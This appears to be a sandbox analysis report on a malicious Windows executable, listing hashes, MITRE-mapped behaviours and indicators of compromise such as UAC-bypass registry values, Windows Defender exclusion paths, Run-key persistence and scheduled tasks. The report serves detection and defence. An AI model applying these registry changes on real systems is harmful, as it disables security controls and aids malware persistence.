745bac3cca863a9c9c0be1284e0bc016fa4b705589cb15ee1d1d3ee5ecc48c86

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 14:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
Size 28.2MB
Sample260916-rl5c8s1fpg
SHA256 745bac3cca863a9c9c0be1284e0bc016fa4b705589cb15ee1d1d3ee5ecc48c86
MD5 11d7f505b117052ba64c0f28d55f4428
SHA1 e4706fe1868dca4d1f59f6378a85fedd407c577b
SHA512 ce165239f1458cafd02734d996406c4e39305edaa17b914ba3dadc36e7b6ea2955dfb1a536612b2631699a6812d5d110628d5ccf67d93db8bd829e1adf022322
SSDEEP 98304:9ClvSIQotY1jJ6I/EQ+LxsE3WajDxlaEZ:MlvSIQDbcQ+LxzmaJlHZ
TLSH
T17857294AFFD1CF42E9A6867898775B103373E8A54B71C3C7125461382D973C88EF2A99
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	sbCbPi.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	GrOcS3OF.exe

Windows security bypass 2 TTPs 16 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\sbCbPi = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\Nynxdy = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral1/memory/4200-690-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 9 IoCs

resource	yara_rule
behavioral1/memory/4200-678-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4200-675-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4200-694-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4200-686-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4200-717-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/3956-739-0x0000000002DD0000-0x00000000035AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/4200-774-0x0000000002FA0000-0x000000000377D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/5804-858-0x0000000003AD0000-0x00000000042AD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2424-863-0x00000000033C0000-0x0000000003B9D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

UPX dump on OEP (original entry point) 3 IoCs

resource	yara_rule
behavioral1/files/0x000300000002384a-801.dat	UPX
behavioral1/memory/3908-802-0x0000000000400000-0x000000000053F000-memory.dmp	UPX
behavioral1/memory/3908-839-0x0000000000400000-0x000000000053F000-memory.dmp	UPX

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3860	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	sbCbPi.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
3676	icacls.exe
4236	icacls.exe
2552	icacls.exe
4760	icacls.exe
3360	icacls.exe
2500	icacls.exe
2824	icacls.exe
3400	icacls.exe
2652	icacls.exe
2080	icacls.exe
4448	icacls.exe
3484	takeown.exe
4420	icacls.exe
5812	icacls.exe
544	icacls.exe
5396	icacls.exe
212	icacls.exe
5720	icacls.exe
2636	icacls.exe
5232	icacls.exe
4464	icacls.exe
4428	takeown.exe
4408	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	o05w8Z.exe
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	sbCbPi.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 10 IoCs

pid	Process
3928	o05w8Z.exe
2776	o05w8Z.exe
4200	sbCbPi.exe
4472	sbCbPi.exe
3956	lpEDjygA.exe
4660	HB6rIfmK.exe
3908	GrOcS3OF.exe
3304	yHDc9ZDz.exe
5804	lpEDjygA.exe
2424	sbCbPi.exe

Loads dropped DLL 7 IoCs

pid	Process
3928	o05w8Z.exe
2776	o05w8Z.exe
4200	sbCbPi.exe
4472	sbCbPi.exe
3956	lpEDjygA.exe
5804	lpEDjygA.exe
2424	sbCbPi.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4236	icacls.exe
5720	icacls.exe
3676	icacls.exe
4464	icacls.exe
544	icacls.exe
2824	icacls.exe
212	icacls.exe
3400	icacls.exe
2652	icacls.exe
2636	icacls.exe
5232	icacls.exe
5812	icacls.exe
4428	takeown.exe
5396	icacls.exe
2080	icacls.exe
4420	icacls.exe
2552	icacls.exe
4760	icacls.exe
4408	icacls.exe
4448	icacls.exe
3360	icacls.exe
3484	takeown.exe
2500	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Nynxdy\\o05w8Z.exe\""	o05w8Z.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\sbCbPi\\sbCbPi.exe\""	sbCbPi.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1880	cmd.exe
1256	cmd.exe
4668	cmd.exe
1220	cmd.exe
5192	cmd.exe
1268	cmd.exe
652	cmd.exe
5316	cmd.exe
2808	cmd.exe
2780	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	o05w8Z.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000300000002384a-801.dat	upx
behavioral1/memory/3908-802-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/files/0x0008000000024691-835.dat	upx
behavioral1/memory/3304-836-0x00007FF616490000-0x00007FF6168BF000-memory.dmp	upx
behavioral1/memory/3908-839-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/memory/3304-868-0x00007FF616490000-0x00007FF6168BF000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\sbCbPi\XPSPLOG.dll	o05w8Z.exe
File created	C:\Program Files (x86)\sbCbPi\thumbs.db	o05w8Z.exe
File opened for modification	C:\Program Files (x86)\sbCbPi\sbCbPi.exe	o05w8Z.exe
File opened for modification	C:\Program Files (x86)\sbCbPi\thumbs.db	o05w8Z.exe
File created	C:\Program Files (x86)\MUOCKNG12\thumbs.db	sbCbPi.exe
File opened for modification	C:\Program Files (x86)\MUOCKNG12\thumbs.db	sbCbPi.exe
File created	C:\Program Files (x86)\MUOCKNG12\XPSPLOG.dll	sbCbPi.exe
File opened for modification	C:\Program Files (x86)\MUOCKNG12\XPSPLOG.dll	sbCbPi.exe
File opened for modification	C:\Program Files (x86)\sbCbPi	o05w8Z.exe
File created	C:\Program Files (x86)\MUOCKNG12\image.png	sbCbPi.exe
File opened for modification	C:\Program Files (x86)\MUOCKNG12\lpEDjygA.exe	sbCbPi.exe
File created	C:\Program Files (x86)\MUOCKNG12\lpEDjygA.exe	sbCbPi.exe
File created	C:\Program Files (x86)\sbCbPi\sbCbPi.exe	o05w8Z.exe
File created	C:\Program Files (x86)\sbCbPi\image.png	o05w8Z.exe
File opened for modification	C:\Program Files (x86)\sbCbPi\XPSPLOG.dll	o05w8Z.exe
File opened for modification	C:\Program Files (x86)\sbCbPi\image.png	o05w8Z.exe
File opened for modification	C:\Program Files (x86)\MUOCKNG12	sbCbPi.exe
File opened for modification	C:\Program Files (x86)\MUOCKNG12\image.png	sbCbPi.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3460	sc.exe
5484	sc.exe
5740	sc.exe
2532	sc.exe
2384	sc.exe
1740	sc.exe
2728	sc.exe
1700	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	sbCbPi.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\SCRNSAVE.EXE	sbCbPi.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaveActive = "0"	sbCbPi.exe

Executes a command shell one-liner 1 TTPs 27 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5704	cmd.exe
3504	cmd.exe
780	cmd.exe
912	cmd.exe
432	cmd.exe
1968	cmd.exe
5872	cmd.exe
1572	cmd.exe
3640	cmd.exe
5424	cmd.exe
2680	cmd.exe
5640	cmd.exe
4560	cmd.exe
5964	cmd.exe
5820	cmd.exe
4812	cmd.exe
5728	cmd.exe
4320	cmd.exe
5184	cmd.exe
4780	cmd.exe
6136	cmd.exe
4972	cmd.exe
2956	cmd.exe
5908	cmd.exe
1872	cmd.exe
3248	cmd.exe
3980	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GrOcS3OF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sbCbPi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HB6rIfmK.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lpEDjygA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sbCbPi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	sbCbPi.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	sbCbPi.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaveActive = "0"	sbCbPi.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	sbCbPi.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	sbCbPi.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\Desktop\SCRNSAVE.EXE	sbCbPi.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	o05w8Z.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1076	schtasks.exe
4516	schtasks.exe
368	schtasks.exe
3772	schtasks.exe
4892	schtasks.exe
3412	schtasks.exe
5504	schtasks.exe
3808	schtasks.exe
5916	schtasks.exe
1852	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3956	2026-09-16_11d7f505b117052ba64c0f28d55f4428_cobalt-strike_coinminer_dosia_glassworm_icedid_luca-stea.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe
3928	o05w8Z.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	4200	sbCbPi.exe
Token: SeTakeOwnershipPrivilege	3484	takeown.exe
Token: SeRestorePrivilege	4464	icacls.exe
Token: SeTakeOwnershipPrivilege	4428	takeown.exe
Token: SeRestorePrivilege	544	icacls.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	4660	HB6rIfmK.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe
Token: SeCreatePagefilePrivilege	3860	powershell.exe
Token: SeBackupPrivilege	3860	powershell.exe
Token: SeRestorePrivilege	3860	powershell.exe
Token: SeShutdownPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeSystemEnvironmentPrivilege	3860	powershell.exe
Token: SeRemoteShutdownPrivilege	3860	powershell.exe
Token: SeUndockPrivilege	3860	powershell.exe
Token: SeManageVolumePrivilege	3860	powershell.exe
Token: 33	3860	powershell.exe
Token: 34	3860	powershell.exe
Token: 35	3860	powershell.exe
Token: 36	3860	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe
Token: SeCreatePagefilePrivilege	3860	powershell.exe
Token: SeBackupPrivilege	3860	powershell.exe
Token: SeRestorePrivilege	3860	powershell.exe
Token: SeShutdownPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeSystemEnvironmentPrivilege	3860	powershell.exe
Token: SeRemoteShutdownPrivilege	3860	powershell.exe
Token: SeUndockPrivilege	3860	powershell.exe
Token: SeManageVolumePrivilege	3860	powershell.exe
Token: 33	3860	powershell.exe
Token: 34	3860	powershell.exe
Token: 35	3860	powershell.exe
Token: 36	3860	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe
Token: SeCreatePagefilePrivilege	3860	powershell.exe
Token: SeBackupPrivilege	3860	powershell.exe
Token: SeRestorePrivilege	3860	powershell.exe
